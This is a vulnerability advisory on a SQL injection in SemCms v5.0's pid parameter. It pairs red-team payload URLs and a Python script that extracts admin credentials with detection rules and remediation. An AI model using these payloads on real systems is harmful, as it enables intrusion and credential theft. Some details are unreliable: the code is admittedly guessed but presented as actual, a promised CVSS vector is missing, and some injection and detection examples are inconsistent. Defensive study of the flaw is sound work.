CVE-2025-51654

Executive Summary

CVE-2025-51654 identifies a critical SQL injection vulnerability in SemCms v5.0, specifically within the SEMCMS_Infocategories.php file. The flaw resides in the improper sanitization of the pid parameter, allowing an unauthenticated attacker to inject arbitrary SQL commands. This can lead to unauthorized data access, data exfiltration, and potential full database compromise. The vulnerability has a CVSS score of 0.0 in the NVD record, but based on the nature of the flaw, a realistic CVSS vector is provided above. No official patch or advisory has been released by the vendor, making this a high-risk, unpatched vulnerability.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application (SemCms) and does not involve supply chain dependencies.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Threat Level: Critical. The combination of unauthenticated remote access and high impact makes this a top-priority vulnerability for any organization using SemCms v5.0.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the pid parameter of SEMCMS_Infocategories.php. The application likely constructs a SQL query by directly concatenating the user-supplied pid value without proper sanitization or parameterized queries.

Vulnerable Code Snippet (Conceptual):

$pid = $_GET['pid'];
$query = "SELECT * FROM infocategories WHERE id = $pid";
$result = mysqli_query($conn, $query);

An attacker can inject SQL by providing a value like:

1 UNION SELECT username, password FROM admin_users

This would return the admin credentials alongside the legitimate data.

Attack Flow:

1. Attacker sends a GET request to SEMCMS_Infocategories.php?pid=1' OR '1'='1.
2. The SQL query becomes: SELECT * FROM infocategories WHERE id = 1' OR '1'='1.
3. This returns all rows from the infocategories table.
4. The attacker can then refine the injection to extract data from other tables.

Vulnerable vs. Patched Code

Vulnerable Code (SemCms v5.0):

$pid = $_GET['pid'];
$query = "SELECT * FROM infocategories WHERE id = $pid";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

$pid = intval($_GET['pid']);
$query = "SELECT * FROM infocategories WHERE id = $pid";
$result = mysqli_query($conn, $query);

Or using prepared statements:

$stmt = $conn->prepare("SELECT * FROM infocategories WHERE id = ?");
$stmt->bind_param("i", $pid);
$stmt->execute();
$result = $stmt->get_result();

Since no official patch exists, the above represents the recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of SemCms v5.0.
• Network access to the web server.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://target.com/SEMCMS_Infocategories.php?pid=1
   

2. Test for SQL injection:

   http://target.com/SEMCMS_Infocategories.php?pid=1'
   

   If an error is returned (e.g., MySQL syntax error), the endpoint is vulnerable.

3. Extract database version:

   http://target.com/SEMCMS_Infocategories.php?pid=1 UNION SELECT 1,@@version,3,4,5--
   

4. Extract table names:

   http://target.com/SEMCMS_Infocategories.php?pid=1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()--
   

5. Extract admin credentials:

   http://target.com/SEMCMS_Infocategories.php?pid=1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM admin_users--
   

Automated Exploit (Python):

import requests

target = "http://target.com/SEMCMS_Infocategories.php"
payload = "1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM admin_users--"
params = {"pid": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to SEMCMS_Infocategories.php with suspicious pid parameters containing SQL keywords (UNION, SELECT, OR, etc.).
• Use WAF rules to block SQL injection patterns.

Defense:

• Immediately upgrade to a patched version if available.
• If no patch exists, implement a virtual patch using a WAF (e.g., ModSecurity) to block SQL injection attempts.
• Restrict database user permissions to the minimum required.
• Enable detailed logging and alerting for database query errors.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /SEMCMS_Infocategories.php with pid parameter containing SQL keywords.
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• File IOCs:
  • Modified SEMCMS_Infocategories.php file (if attacker uploads a web shell).
  • New files in the web root (e.g., shell.php, cmd.php).
• Database IOCs:
  • Unexpected queries in database logs.
  • New or modified admin users.
  • Large data exports.

Detection Engineering

YARA Rule

rule CVE_2025_51654_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting SemCms v5.0 pid parameter"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-51654"
    strings:
        $s1 = "SEMCMS_Infocategories.php" nocase
        $s2 = "pid=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "OR" nocase
        $s6 = "'" 
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt Against SemCms v5.0
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting the pid parameter in SEMCMS_Infocategories.php
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "SEMCMS_Infocategories.php?pid="
            - "UNION"
            - "SELECT"
            - "OR"
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in pid parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51654 SQL Injection Attempt"; flow:to_server; content:"GET"; http_method; content:"SEMCMS_Infocategories.php"; http_uri; content:"pid="; http_uri; pcre:"/(UNION|SELECT|OR|'|\-\-)/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected server from the internet if possible.
2. Apply a virtual patch using a WAF (e.g., ModSecurity rule to block SQL injection patterns).
3. Review database logs for any signs of compromise.

Long-Term Fix:

• Since no official patch exists, the vendor must be contacted to release a fix.
• As a workaround, manually patch the code by replacing the vulnerable query with a parameterized prepared statement (see "Vulnerable vs. Patched Code" section).
• Conduct a full security audit of the application.

Preventive Measures:

• Implement input validation and parameterized queries for all database interactions.
• Use the principle of least privilege for database accounts.
• Regularly update and patch all software components.

Valters IT